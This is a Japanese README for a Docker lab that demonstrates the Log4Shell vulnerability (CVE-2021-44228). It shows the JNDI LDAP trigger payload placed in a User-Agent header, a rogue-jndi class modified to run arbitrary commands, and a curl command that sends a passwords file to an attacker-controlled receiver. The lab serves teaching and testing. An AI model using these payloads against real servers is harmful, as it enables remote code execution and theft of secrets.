CVE-2021-44228-docker-example

CVE-2021-44228 を利用して、脆弱なサーバーから攻撃者が制御する Web サービスへデータを転送するための簡単なデモです。関連するすべてのコンポーネントは Docker 経由で実行されます。

コンポーネント

これは被害者として動作する標準的な Java サーバーです。実行環境:

この構成では、このサーバーは VULNERABLE です。

補足情報:

passwords.txt の内容:

my secret

これは攻撃者のデータコレクターとして動作する標準的な Java サーバーです。実行環境:

補足情報:

これは rogue-jndi を利用した LDAP サーバーです。 -c フラグで渡されたコマンドが実行されるように、ExportJava クラスが変更されています。

public ExportObject() {
    try {
        Runtime.getRuntime().exec(Config.command);
    } catch(Exception e) {
        e.printStackTrace();
    }
}

脆弱なサーバーからリクエストを受けると、インスタンス化されたときに次のコマンドを実行するクラスで応答します:

curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt

これにより、/foo/passwords.txt の内容が、悪意のあるレシーバーの準備済みエンドポイントに投稿されます。

次のコマンドを実行して Docker イメージをセットアップします:
```
./build.sh
```
次のコマンドを実行してコンポーネントコンテナを起動します:
```
./start.sh
```
次のコマンドを実行して脆弱性をトリガーします:
```
curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
```
次のコマンドを実行して、悪意のあるレシーバーコンポーネントのログ出力を確認します:
```
docker logs --timestamps docker_malicious-receiver_1
```
サーバーの passwords.txt ファイルの内容が表示されるはずです。
次のコマンドを実行してコンポーネントコンテナを停止します:
```
./stop.sh
```